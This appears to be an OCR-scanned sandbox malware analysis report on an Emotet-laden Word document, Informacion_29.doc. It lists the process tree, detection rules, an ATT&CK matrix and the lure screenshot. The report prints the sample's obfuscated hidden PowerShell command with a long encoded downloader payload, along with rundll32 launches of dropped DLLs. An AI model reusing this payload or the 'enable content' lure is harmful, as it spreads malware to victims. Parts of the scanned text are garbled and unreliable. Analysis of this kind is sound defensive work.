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Analysis Report Informacion_29.doc

Overview
General Information Detection Classification
Sample Informacion_29.doc
Name: Multi AV Scanner detection for doma...
Analysis ID: 336937 MALICIOUS Multi AV Scanner detection for dropp...
MDS: 6cleb4c06eadsfs. Multi AV Scanner. detection for subm...
SHA1L:
4ac228fa54e7399. Office document tries to convince Vvi...
SHAZ256: 43dab9ade7aaa8..

System process connects to networ...
Most interesting Screenshot:

Yara detected Emotet

Changes security center settings (no...

Creates processes via WMI

m Document contains an embedded VB...

Score: 100 Document contains an embedded VB...

Range: 0-100

Encrypted powershell cmdline option...
Whitelisted:  false

Confid 100% Hides that the sample has been dow...
onfidence: Q)

w
«Q
>
2
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®
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Startup

= System is w10x64

. @ WINWORD.EXE (PID: 6804 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office 1l6\WINWORD.EXE' /Automation -Embedding MD5: 0B9AB9B9C4DE429473D6450D4297A123)

. cmd.exe (PID: 7000 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P"Ow”er*she”L L -w hidden -ENCOD
IAAgGACQAVQA2ADMANQAXADOAWWBUAFKACABFAFOAKAAIAHSAMgB9AHSAMABIAHSAMQBOAHSANABIAHSAMWBIAHSANQBIACIAIAAIAEY AIAANAHKAUWBUAEU
AbQAUAGKAIWASACCATWAUAGQAaQANACWAIWBZACCALAANAEUAYWBUAEBAIWASACCAUgANACWAIWBSAFKAIJWAPACAAIAATACQATWBMAFYAIAA9ACAAWWBOAFK
AcABIAFOAKAAIAHSAMAB9AHSANWBIAHSAMQB9AHSAOABIAHSAMWBIAHSANgBIAHSANQBIAHSAMgBIAHSANABIACIAIAALAEY AJwBzAFKAJWASACCAVABFAGO
ALgBOAEUAJWASACCcAbgBOAGOAQQBOACCALAANAHYAIJWASACCAQQBHAGUAUgANACWAIWBIACCALAANAGKAQWBIAFAATWANACWAIWBZACCALAANAFQALgBZzAGU
AUgGANACKAIAAgADSAIAAGACQARQBYAHIAbwBYAEEAYWBOAGKAbWBUAFAACYBIAGYAZQBYAGUAbgBJAGUAIAA9ACAAKAANAFMAaQANACSAKAANAGWAZQANACS
AIWBUACCAKQArACcAdAANACSAKAANAGWAEQANACSAIJWBDACCAKQArACgAIWBVAGAAdABpPACCAKWANAGAAIWAIrACCAdQBIACCAKQAPADSAIJABZAHQAZABFAHAACABIADOAJ
ABIADQAXWBMACAAKWAgAFSAYWBoAGEAcgBdACgANgAOACKAIAATACAAJABRADAAMQBRADSAJABFADEANQBOADOAKAAOACCATWANACSAIWAXAFBAIJWAPACSAI
WBWACCAKQA7ACAAIAACACAAZWBIAFQALQBWAGEAUgBpAGEAYgBSAGUAIABLIADYAMWALADEAIAAAFYAY QBMAFUARQBVAE4ATABSACAAKQAGBADOAIgBJAFIAR
QBgAEEAVABIAGQASQBYAGAAZQBDAGAAVABVAHIAe QAIACJAJABIAESBATQBFACAAKWAGACgAKAANAHSAMABIAE4AIWArACgAIWBZzAGCAaAANACSAIJWBVACCAK
QArACcAaABOAHSAMABO9ACCAKWANAECAIWArACCcAYgANACSAKAANAGGANQBYACCAKWANADKAbWANACKAKWANAHSAMABI9ACCAKQAGACOAZgAGACAAWWBJAEgAY
QBSAFOAOQAYACKAKQA7ACQATgASADUAVWAIACIAKAANAFMAIWAIACCAMgA4ACCAKQArACCAUWANACKAOWAGACAAKAAGACAATABZACAAIAB2AEEACGBIAEEAQ
gBsSAGUAOgBVAGWAVgApAC4AVgBBAGWAVQBFADOAOgAIAFMARQBDAFUACgBJAEKAVABZAGAAUABYAESBAVABPAGAAYWBVAEWAIgGAgADOAIAAOACCAVABSACCAK
WAOACCACWAXACCAKWANADIAIWAPACKAOWAKAESAXWAYAEWAPQA0ACCAQA2ACCAKWANADCATWANACKAOWAKAEIAZQB4AGBAMgA4AHQAIAA9ACAAKAANAFEAM
gANACsAIJWA3AFYAJWApADSAJABNADYAOQBOADOAKAAOACCAVQANACSAIWA3ADIAIWAPACSAIWBBACCAKQA7ACQAWGBJADCcAbgA3AHKAXWAIACQASABPAEOAR
QArACgAKAANAHSAIWArACCAMAANACSAIJWBIACCAKWAOACCATGANACSAIWBZAGCAIWAPACSAIWBOAG8AaABOAHSAMABIACCAKWANAECAIWArACGAIWBIACCAKWANAGGANQB
YACCAKQArACCAOQBVAHSAMABIACCAKQAJACOARGBHAEMASABBAFIAXQASADIAKQArACQAQgBIAHgAbWAYADgAJAArACGAIWAUAGQAIWArACCADABSACCAKQA
7ACQATgBfADEAVWA9ACYAKAANAEOAIWATACCAMWAOACCAKQArACCAWQANACKAOWAKAEKADABIAFBAdgBhAGEAPQAOACCAXQANACSAKAANAGIAMgANACSAIWB
bACcAKWANAHMAOgAVACBAdWANACSAIWBOAGUAZQBSACCAKQArACCAYwWBVACCAKWANAGOAbWANACSAIWB2AGKAIJWArACgAIWBUACCAKWANAGCALGBJAGBAJWA
rACcAbQAVAHAAIWAPACSAIWAVAFIAIJWArACCAdQANACSAIWBNACCAKWAOACCAZQBSAFAAIWAIACCAY QANACKAKWANACBAQAANACSAKAANAFOAIWAIACCAYgAYAFSACWABA
C8AJWAPACSAKAANACBAIWATACCAMAAWACCAKQArACcAegANACSAKAANAHKAIWArACcAawB1ACCAKQArACCALGANACSAIJWBJAGBAIWArACgAIWBIACBAdWANACSAIWBWACC
AKWANACOAYQBKAGOAaQBUACBAIWArACCAZQANACKAKWAOACCAWQB1ADEAIWAIACCAUQAVACCAKQArACCAQABIACCAKWANAGIAIWATACgAIJWAYAFSAIJWAIrACC
AcwABACBALWBrACcAKQArACgAIWBIACCAKWANAHQAbwBYAGUAJWAPACSAKAANAHMAZQANACSAIWBOAGOAIJWAPACSAKAANAGUAJIWAIrACCALGBJAGBAbBQANACK
AKWANAC8AdWANACsAIWBWACCAKWAOACCALQANACSAIWBJAG8AbgBOACCAKQATACgAIWBIACCAKWANAGAAdAAVAHAADBQBKACCAKQArACCALWANACSAKAANAEAAIWAIrACCAX
QBIACCcAKQArACcAMgANACSAKAANAFSAJWArACcAcwBzADOALWANACSAIJWAVACCAKQATrACgAIwBYAHKAYwBVACCAKWANAGOAIJWAPACSAIWBWACCAKWAOACCAdQBOACCAKWA
NAGUAJIWAPACsAIWBYAC4AIWArACgAIWB]AGBAbQAVAGMAIWArACcAbwBUACCAKQArACgAIJWBOAGUAbgANACSAIJWBOACBAVAANACKAKWAOACCATAAVAEAAXQANACSAIWBIA
CcAKWANADIAWWBzACCAKWANAHMAJWAPACSAKAANADOAIWArACCALWAVACCAKQAIrACCAZAAIACCAKWAOACCAYWANACSAIJWBIAGOAIWArACCALgBJAGBAbQANACKAKWANACS
AIWArACcAdwBWACCAKWAOACCALQBhACCAKWANAGQAIJWAPACSAKAANAGOAIWArACcAaQBUACCAKQATrACCALWANACSAKAANAEOAIWATACCAUWBMAHCARWAXACC
AKQArACgAJWAVAEAAXQBIADIAWWBZzACCAKWANADOAJWArACCALWANACKAKWANACBAIWArACgAIJWBOAGYAZQBIAGUACWANACSAIWBOACCAKQArACCAZgANACSAKAANAGKAa
WBYAGEAJWArACcAaAAUACCAKWANAGMAbwANACKAKWANAGOAIWArACgAIWAVAHCACAATACCAKWANAGEAZ ABIACCAKWANAGKAJWAIrACCcAbgAVACCAKQArACgAJ
WBMACCAKWANAEBASQBSACCAKWANAFY AWAAVAEAAIWAPACSAKAANAFOAYgAyACCAKWANAFSAJWAPACSAKAANAHMACWABACBAIJWArACCALWANACKAKWAOACCAC
ABOACCAKWANAGEAdWANACKAKWAOACCAY QB5AGEAJWAIrACCAZWBIACCAKQArACcAbgANACSAKAANAGMAeQANACSAIWAUAGMAbWBIACBAIJWAPACSAIJWB3ACCAK
WANAHAAIWArACgAIWALACCAKWANAGEAZAANACKAKWANAGOAaQANACSAIWBUACCAKWAOACCALWANACSAIWBIAFgAbwANACKAKWANADQAYgANACSAIWAVACCAKQAUACIAcgB
IAHAAYABMAGAAQQBDAEUAIgA0ACJAKAANAFOAYgANACSAIWAYAFSAIWAPACSAIWBZACCAKQASACgAWWBhAHIAcgBhAHKAXQAOACCAcWBKACCALAANAHMAdWA
NACKALAAOACCAaAANACSAKAANAHQAJAANACSAIWBWACCAKQAPACWAIWAZAGQAIJWAPAFSAMQBAACKALgAIAHMAYABWAEWASQBUACIAKAAKAEUAXWBFAFYAIAA
rACAAJABZAHQAZABfAHAACABIACAAKWAGACQAQWALADQAWQAPADSAJABKADMANWBWADOAKAAOACCARWALACCAKWANADIAIJWAPACSAJWBDACCAKQA7AGYAbwB
YAGUAY QBjAGGAIAACACQAWQBMAHAAZAB2AHUACGAJAGKABgAGACQASQBSAGUAXWB2AGEAYQAPAHSAJABYAHKAeWAOACAAKAANAE4AZQB3ACOAIWArACCATWB
IACCAKWANAGOAZQBJAHQAJWAPACAAUWBZAHMAJABIAGOALgBUAEUAJAAUAHCAZQBIAGMATABPAEUAbgBUACKALGAIAEQAbWBXAGAATYBJAGWAYABVAGEAZAB
MAEKADABIACIAKAAKAFKAZgBWAGQAdgB1AHIALAAGACQAW(GBJADCcAbgA3AHKAXWAPADSAJABXADAAMgBIADOAKAANAEMAJIWAIACgAIWALADKAIJWArACCAWAANACKAKQATA
EKAZgAgACgAKAAUACGAIWBHAGUAJAALAEKAIWArACCAJABIAGOAIWAPACAAIJABaAGMANWBUADCcAeQBfACKALgAIAEWARQBUAECAYABUAEgAIgGAgACOAZWBIACAAMWA4ADQ
AMQAZACKAIAB7AC4AKAANAHIAIWATACcAdQBUACCAKWANAGQAbBABSADMAMgANACKAIAAKAFOAYWA3AGAANWB5AFSALAACACCAQWBVACCAKWAOACCAbgBOACE
AKWANAHIAbwANACKAKWAOACCAbABFAFIAJWATACCAdQANACSAIJWBUAEQATAANACKAKWANAEWAIJWAPAC4AIgBOAGBACWBOAGAAUgBgAEKATgBHACIAKAAPADSAJABVADCAO
ABXADOAKAANAEOAMAANACSAJWAXAE4AIJWAPADsSAYgBYAGUAYQBrADSAJABGADIANABUADOAKAANAESAIWArACgAIWAZACCAKWANADgATAANACKAKQBIAHOAY
wWBhAHQAYWBO0AHSAfQBIACQAQQAZADEASQAIACIAIWBWACCAKWAOACCAOAANACSAIWALAAEOAIWAPACKA MD5: 4E2ACFAF8A396486AB4268C94A6A245F)

* 3 conhost.exe (PID: 7012 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ msg.exe (PID: 7044 cmdline: msg user /v Word experienced an error trying to open the file. MD5: EEB395D8DD3C1D6593903BD640687948)
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o E¥ powershell.exe (PID: 7064 cmdline: POwersheLL -w hidden -ENCOD IAAGACQAVQA2ADMANQAXADOAWWBUAFKACABFAFOAKAAIAHSAMgBIAHSAMABI9AHSA
MQB9YAHSANAB9AHSAMWBOAHSANQBIACIAIAAIAEY AIAANAHKAUWBUAEUABQAUAGKAIWASACCATWAUAGQAaQANACWAIWBZACCALAANAEUAYWBUAEBAJWASACCA
UgANACWAIWBSAFKAJWAPACAAIAATACQATWBMAFYAIAASACAAWWBOAFKACABIAFOAKAAIAHSAMABIAHSANWBIAHSAMQBIAHSAOABIAHSAMWBIAHSANGBIAHSA
NQB9AHSAMgBIAHSANABIACIAIAAIAEY AJwBzAFKAIWASACCAVABFAGOALGBOAEUAIWASACCAbgBOAGOAQQBOACCALAANAHYAIWASACCAQQBHAGUAUGANACWA
JWBJACCALAANAGKAQWBIAFAATWANACWAIWBZACCALAANAFQALYBZAGUAUGANACKAIAAGADSAIAAGACQARQBYAHIAbWBYAEEAYWBOAGKAbWBUAFAACYBIAGYA
ZQBYAGUADbgBJAGUAIAAIACAAKAANAFMAaQANACSAKAANAGWAZQANACSAIWBUACCAKQAIrACCAJAANACSAKAANAGWAEQANACSAIWBDACCAKQAIACGAIWBVAGAA
dABpACCAKWANAGAAIWAIACCAdQBIACCAKQAPADSAIJABZAHQAZABFAHAACABIADOAJABIADQAXWBMACAAKWAGAFSAYWBOAGEAcgBdACgJANGAOACKAIAATACAA
JABRADAAMQBRADSAJABFADEANQBOADOAKAAOACCATWANACSAIWAXAFBAIWAPACSAIWBWACCAKQA7ACAAIAAOACAAZWBIAFQALQBWAGEAUgBPAGEAYgBSAGUA
IABIADYAMWA1ADEAIAAtAFYAYQBMAFUARQBVAE4ATABSACAAKQABADOAIGBJAFIARQBJAEEAVABIAGQASQBYAGAAZQBDAGAAVABVAHIAeQAIACAJABIAESA
TQBFACAAKWAGACYAKAANAHSAMABYAE4AIWArACGAIWBZAGCAaAANACSAIWBVACCAKQArACCAaABOAHSAMABOACCAKWANAECAIWAIACCAY gANACSAKAANAGOA
NQBYACCcAKWANADKAbWANACKAKWANAHSAMAB9ACCAKQAJACOAZgAgACAAWWBIAEgAY QBSAFOAOQAYACKAKQA7ZACQATgASADUAVWAIACIAKAANAFMAIWATACCA
MgA4ACCAKQArACCAUWANACKAOWAJACAAKAAGACAATABZACAAIAB2AEEACIBIAEEAQYBSAGUAOGBVAGWAVYAPACAAVYBBAGWAVQBFADOAOJAIAFMARQBDAFUA
cgBJAEKAVABZAGAAUABYAESBAVABPAGAAYWBVAEWAIGAGADOAIAAOACCAVABSACCAKWAOACCACWAXACCAKWANADIAIWAPACKAOWAKAESAXWAYAEWAPQAOACCA
QgA2ACCAKWANADCATWANACKAOWAKAEIAZQB4AGBAMgA4AHQAIAAIACAAKAANAFEAMJANACSAIWA3AFYAIWAPADSAJABNADYAOQBOADOAKAAOACCAVQANACSA
JWA3ADIAIWAPACSAIWBBACCAKQA7ACQAW(GBJADCAbgA3AHKAXWAIACQASABPAEOARQAIACJAKAANAHSAIWAIACCAMAANACSAIWBIACCAKWAOACCATGANACSA
JwBZAGCAIWAPACSAIWBOAGBAaABOAHSAMABIACCAKWANAECAIWArACGAIWBIACCAKWANAGGANQBYACCAKQArACCAOQBVAHSAMABIACCAKQAGACOARYBDAEMA
SABBAFIAXQA5ADIAKQArACQAQgBIAHgAbwAYADgAdAArACgAIWAUAGQAIWAIACCADABSACCAKQA7TACQATYBfADEAVWAIACYAKAANAEOAIWATACCAMWAOACCA
KQArACCcAWQANACKAOWAKAEKADABIAFBAdgBhAGEAPQAOACCAXQANACSAKAANAGIAMJANACSAIWBbACCAKWANAHMAOQGAVACBAAWANACSAIWBOAGUAZQBSACCA
KQArACcAYwBVACCAKWANAGOAbWANACSAIWB2AGKAIWArACgAIJWBUACCAKWANAGCALGBJAG8AIWArACCAbQAVAHAAIWAPACSAIWAVAFIAIJWATACCAdQANACSA
JWBNACCAKWAOACCAZQBSAFAAIWATACCAY QANACKAKWANACBAQAANACSAKAANAFOAIWATACCAY gAYAFSACWABACBAIWAPACSAKAANACBAIWATACCAMAAWACCA
KQArACcAegANACSAKAANAHKAIJWArACcAawB1ACCAKQArACCALgANACSAIWBJAGBAIWArACgAIWBIACBAAWANACSAIWBWACCAKWANACOAY QBKAGOAaQBUACSA
JWArACcAZQANACKAKWAOACCAWQB1ADEAIWArACCAUQAVACCAKQAIACCAQABIACCAKWANAGIAIWArACGAIWAYAFSAIWAIACCACWABACBALWBIACCAKQAIrACgA

JWBIACCAKWANAHQAbWBYAGUAIWAPACSAKAANAHMAZ QANACSAIWBOAGOAIWAPACSAKAANAGUAIWATACCALYBJAGBADQANACKAKWANACBAdWANACSAJWBWACCA
KWAOACCALQANACSAIJWBJAG8AbgBOACCAKQArACgAIWBIACCAKWANAGAAdAAVAHAADQBKACCAKQAIACCALWANACSAKAANAEAAIWATACCAXQBIACCAKQAFACCA
MgANACsAKAANAFSAJWAIACcAcwBzADOALWANACSAIWAVACCAKQArACgAJwBYAHKAYwWBVACCAKWANAGOAIJWAPACSAIWBWACCAKWAOACCAdQBOACCAKWANAGUA
JWAPACSAIWBYACAAIWArACGAIWBJAGBADQAVAGMAIWArACCAbwBUACCAKQAIACGAIWBOAGUABgANACSAIWBOACBAVAANACKAKWAOACCATAAVAEAAXQANACSA
JwBIACcAKWANADIAWWBZzACCAKWANAHMAIWAPACSAKAANADOAIWArACCALWAVACCAKQArACCAZAAIACCAKWAOACCAYWANACSAIWBIAGOAIWArACCALgBJAGBA
bQANACKAKWANACBAJIWArACcAdwBWACCAKWAOACCALQBhACCAKWANAGQAIWAPACSAKAANAGOAIWAIACCcAaQBUACCAKQArACCALWANACSAKAANAEOAIWATACCA
UwBMAHCARWAXACCAKQArACgAIWAVAEAAXQBIADIAWWBZACCAKWANADOAIJWArACCALWANACKAKWANACBAIWArACgAIWBOAGIAZQBIAGUACWANACSAIJWBOACCA
KQArACcAZgAnACsAKAANAGkAawByAGEAJWArACcAaAAUACCAKWANAGMAbwWANACKAKWANAGOAIJWArACgAIWAVAHCACAAIACCAKWANAGEAZABIACCAKWANAGKA
JWArACcAbgAvVACCAKQArACgAIWBMACCAKWANAEBASQBSACCAKWANAFYAWAAVAEAAIWAPACSAKAANAFOAY gAYyACCAKWANAFSAIJWAPACSAKAANAHMACWABACSA
JWArACcALWANACKAKWAOACCACABOACCAKWANAGEAJWANACKAKWAOACCAY QB5AGEAIWArACCAZWBIACCAKQArACcAbgANACSAKAANAGMAeQANACSAIJWAUAGMA
bwBtAC8AIWAPACSAIWB3ACCAKWANAHAAIWArACGAIWALACCAKWANAGEAZAANACKAKWANAGOAaQANACSAIWBUACCAKWAOACCALWANACSAIJWBIAFgAbWANACKA
KwANRADQAYgANACSAIJWAVACCAKQAUACIAcCgBIAHAAYABMAGAAQQBDAEUAIgGAOACJGAKAANAFOAYgANACSAIWAYAFSAJWAPACSAIWBZACCAKQASACGAWWBhAHIA
cgBhAHKAXQAOACCACWBKACCALAANAHMAAWANACKALAAOACCAAAANACSAKAANAHQAJAANACSAIWBWACCAKQAPACWAIWAZAGQAIWAPAFSAMQBIACKALgAIAHMA
YABWAEWASQBUACIAKAAKAEUAXWBTAFYAIAArACAAJABZAHQAZABFAHAACABIACAAKWAGACQAQWALADQAWQAPADSAJABKADMANWBWADOAKAAOACCARWALACCA
KwANADIAJWAPACSAJWBDACCAKQA7AGYAbwBYAGUAY QBJAGIAIAA0ACQAWQBMAHAAZAB2AHUACYJAGAGKADgAgGACQASQBSAGUAXWB2AGEAY QApAHSAJABYAHKA
eWAOAC4AKAANAE4AZQB3ACOAIWArACCATWBIACCAKWANAGOAZQBJAHQAIWAPACAAUWBZAHMAIABIAGOALYBUAEUAJAAUAHCAZQBIAGMATABPAEUAbBgBUACKA
LgAIAEQAbWBXAGAATgBJAGWAYABVAGEAZABMAEKADABIACIAKAAKAFKAZgBWAGQAdgB1AHIALAAGACQAW(YBJADCAbgA3AHKAXWAPADSAJABXADAAMYBIADOA
KAANAEMAIWArACgAIJWALADKAIWArACCAWAANACKAKQA7AEKAZgAGACYAKAAUACIAIWBHAG UAJAAIAEKAIWATACCAJABIAGOAIWAPACAAIABaAGMANWBUADCA
eQBfACKALGAIAEWARQBUAECAYABUAEgAIGAGACOAZWBIACAAMWA4ADQAMQAZACKAIAB7ACAAKAANAHIAIWATACCAdQBUACCAKWANAGQADABSADMAMIANACKA
IAAKAFOAYWA3AGAANWB5AF8ALAA0ACCAQWBVACCAKWAOACCAbgBOACCAKWANAHIAbWANACKAKWAOACCADABFAFIAJWArACCAdQANACSAIWBUAEQATAANACKA
KWANRAEWAJWAPAC4AIgBOAGBACWBOAGAAUYBYAEKATGBHACIAKAAPADSAJABVADCAOABXADOAKAANAEOAMAANACSAIWAXAE4AIWAPADSAYgBYAGUAYQBrADsA
JABGADIANABUADOAKAANAESAJWArACgAIWAZACCAKWANADGATAANACKAKQBIAHOAYWBhAHQAYWBOAHSATQBO9ACQAQQAZADEASQASACYAIWBWACCAKWAOACCA
OAANACSAIWA4AEO0AIWAPACKA MD5: 95000560239032BC68B4C2FDFCDEF913)

. D rundll32.exe (PID: 204 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nsghoht\Gbh5r90\Q27V.dll,Control_RunDLL MD5:

73C519F050C20580F8A62C849D49215A)
. D rundll32.exe (PID: 4456 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nsghoht\Gbh5r90\Q27V.dll,Control_RunDLL MD5:
D7CA562B0DB4F4DD0OF03A89A1FDAD63D)
. D rundll32.exe (PID: 5928 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Ebern\dgxd.zpy',Control_RunDLL MD5:
D7CA562B0DB4F4DD0OF03A89A1FDAD63D)

svchost.exe (PID: 5692 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6268 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6520 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 784 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4648 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5552 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 4560 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 912 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvec MD5: 32569E403279B3FD2EDB7EBD036273FA)
. == MpCmdRun.exe (PID: 7072 cmdline: 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable MD5: A267555174BFA53844371226F482B86B)
conhost.exe (PID: 7084 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

BEEEEEEE

.

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source Rule Description Author Strings

Copyright null 2021 Page 6 of 70



Source

00000004.00000002.289454945.0000018A154B
B000.00000004.00000001.sdmp

0000000D.00000002.284787283.00000000029E
0000.00000040.00000001.sdmp

00000004.00000003.278200486.0000018A2C3D
3000.00000004.00000001.sdmp

00000004.00000002.280486298.0000018A13D2
0000.00000004.00000040.sdmp

00000004.00000002.290625263.0000018A2C1D
0000.00000004.00000001.sdmp

Unpacked PEs

Source

14.2.rundlI32.exe.3410000.2.raw.unpack
14.2.rundlI32.exe.3410000.2.unpack
13.2.rundlI32.exe.29e0000.2.unpack
13.2.rundlI32.exe.29e0000.2.raw.unpack

13.2.rundlI32.exe.41b0000.3.unpack

Sigma Overview

System Summary:

Rule

Description

PowerShell_Case_Anomal Detects

y

JoeSecurity_Emotet

PowerShell_Case_Anomal Detects

y

PowerShell_Case_Anomal Detects

y

PowerShell_Case_Anomal Detects

y

obfuscated
PowerShell

Author
Florian Roth

Strings

e 0x2f9c:$sl: POwershelLL
e 0x595c:$s1: POwershelL
e 0x9432:$s1: POwershelL

hacktools

Yara detected
Emotet

Joe Security

obfuscated
PowerShell
hacktools

obfuscated
PowerShell
hacktools

obfuscated
PowerShell
hacktools

Click to see the 10 entries

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Description Author Strings

Yara detected
Emotet

Joe Security

Yara detected
Emotet

Joe Security

Yara detected
Emotet

Joe Security

Yara detected
Emotet

Joe Security

Yara detected
Emotet

Joe Security

Click to see the 1 entries

Florian Roth e 0x340:$s1: POwershelLL

Florian Roth e Oxlac0:$s1: POwershelL

Florian Roth e Ox2ba:$sl: POwershelL

Signature Overview

@

AV Detection:

Click to jump to signature section

Copyright null 2021

@ AV Detection

@ Cryptography

@ Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

@ System Summary

©® Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Lowering of HIPS / PFW / Operating System Security Settings
@ Stealing of Sensitive Information
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Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Networking:

]

E-Banking Fraud:

=

Yara detected Emotet

System Summary:

]

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Data Obfuscation:

]

Persistence and Installation Behavior:

]‘

Hooking and other Techniques for Hiding and Protection:

HIPS | PFW | Operating System Protection Evasion:

=

System process connects to network (likely due to code injection or exploit)

= “

Lowering of HIPS | PFW | Operating System Security Settings:

]‘

Stealing of Sensitive Information:

Yara detected Emotet

Mitre Att&ck Matrix
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Privilege Credential Lateral (

Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration B
Valid Windows Management  DLL Side-  DLL Side- Disable or Modify oS System Time Remote Archive Exfiltration Over Other |
Accounts Instrumentation Loading Loading Tools Credential ~ Discovery Services Collected  Network Medium 1
Dumping Data
Default Scripting Boot or Process Deobfuscate/Decode LSASS File and Directory Remote Data from  Exfiltration Over I
Accounts Logon Injection Files or Memory Discovery Desktop Removable Bluetooth (
Initialization Information Protocol Media
Scripts
Domain Exploitation for Client Logon Script Logon Script Scripting Security System Information SMB/Windows Data from  Automated Exfiltration )
Accounts Execution (Windows)  (Windows) Account Discovery Admin Shares Network I
Manager Shared
Drive
Local Command and Scripting Logon Script Logon Script Obfuscated Files or NTDS Security Software Distributed Input Scheduled Transfer

!

Accounts Interpreter (Mac) (Mac) Information Discovery a Component Capture 4
Object Model 1

I

Cloud PowerShell Network Network Logon  Software Packing LSA Virtualization/Sandbox SSH Keylogging Data Transfer Size 4

Accounts Logon Script Script Secrets Evasion Limits 1
I

Replication Launchd Rc.common Rc.common DLL Side-Loading Cached Process Discovery VNC GUI Input  Exfiltration Over C2 !

Through Domain Capture Channel (

Removable Credentials

Media

External Scheduled Task Startup Startup Items Masquerading DCSync Application Window  Windows Web Portal Exfiltration Over (

Remote Iltems Discovery Remote Capture Alternative Protocol l

Services Management

Drive-by Command and Scripting Scheduled  Scheduled Virtualization/Sandbox Proc Remote System Shared Credential Exfiltration Over 4

Compromise Interpreter Task/Job Task/Job Evasion Filesystem Discovery Webroot API| Symmetric Encrypted 1

Hooking Non-C2 Protocol

Exploit Public- PowerShell At (Linux) At (Linux) Process letc/passwd System Network Software Data Exfiltration Over \

Facing Injection and Connections Deployment  Staged Asymmetric Encrypted

Application letc/shadow Discovery Tools Non-C2 Protocol

Supply Chain  AppleScript At At (Windows) Hidden Files and Network Process Discovery Taint Shared Local Data Exfiltration Over I

Compromise (Windows) Directories Sniffing Content Staging Unencrypted/Obfuscated |
Non-C2 Protocol

Compromise  Windows Command Cron Cron Rundll32 Input Permission Groups Replication Remote Exfiltration Over !

Software Shell Capture Discovery Through Data Physical Medium

Dependencies Removable Staging

and Media

Development

Tools

Behavior Graph
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Screenshots

Thumbnails

Behavior Graph

= = Logen:

score o Process

e wme e -\ I snare

o

s apson

iR BSAIGETV A PESE

Created File
Il onsieinfo
Is Dropped

Is Windows Process

*
*n

Number of created Registry Values

Number of created Files

Y

Visual Basic

g5
2z
oz

)

Delphi

i
i
=

Java
.Net C# or VB.NET
C, C++ or other language

Is malicious

D@ 2 i~

Internet

& wawee By £ covosee Ay
[(mEsE ] @
] ]

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Informacio

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

‘You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Screen 1 of 1

O Type here to search

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Source Detection Scanner Label Link

Source Detection Scanner Label Link Download

Source Detection Scanner Label Link
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https://www.virustotal.com/gui/file/43dab9a4e7aaa8a0d894f6e64d73bb829dd8c40ff8161233fb6e0886b14819c3/detection/f-43dab9a4e7aaa8a0d894f6e64d73bb829dd8c40ff8161233fb6e0886b14819c3-1609372967
https://www.metadefender.com/#!/results/file/bzIxMDEwNnVqV3phSGVENWUwV0Nmc2xvRWhz/regular/analysis
https://www.virustotal.com/gui/url/41237086673dd520e5b993931310798646385961b7cc8ece4458accf0c3e37e6/detection/u-41237086673dd520e5b993931310798646385961b7cc8ece4458accf0c3e37e6-1609859966
https://www.virustotal.com/gui/url/34633edfb1f19c69e505c103efce56fe4eb08c8fb859b5a370838c682bc32f45/detection/u-34633edfb1f19c69e505c103efce56fe4eb08c8fb859b5a370838c682bc32f45-1609918355

Source Detection Scanner Label Link

URLs

Source Detection Scanner Label Link
hitp://https://ketoresetme.com/wp-content/uploads/2021/01/My-Southern-Keto-Kitchen-Cookbook-HOW- 0% Avira URL Cloud safe
I-GOT-HERE-

hitp://iwheelcomoving.com/wp-content/plugins/bt_cost_calculator/jquery.dd.js?ver=5.6 0% Avira URL Cloud safe
hitp://https://ketoresetme.com/2021/01/07/pepito-manaloto-keto-diet-sagot-sa-katabaan-ni- 0% Avira URL Cloud safe
mara/#respond

hitp://iwheelcomoving.com/wp-includes/wlwmanifest.xml 0% Avira URL Cloud safe
hitp://https://cdn.entity. 0% URL Reputation safe
hitp://https://cdn.entity. 0% URL Reputation safe
hitp://https://cdn.entity. 0% URL Reputation safe
hitp://https://ketoresetme.com/2021/01/07/what-i-eat-to-lose-weight-2020-easy-keto-recipes-keto-full- 0% Avira URL Cloud safe
day-ea

hitp://https://ketoresetme.com/wp-content/uploads/2020/09/11.jpg 0% Avira URL Cloud safe
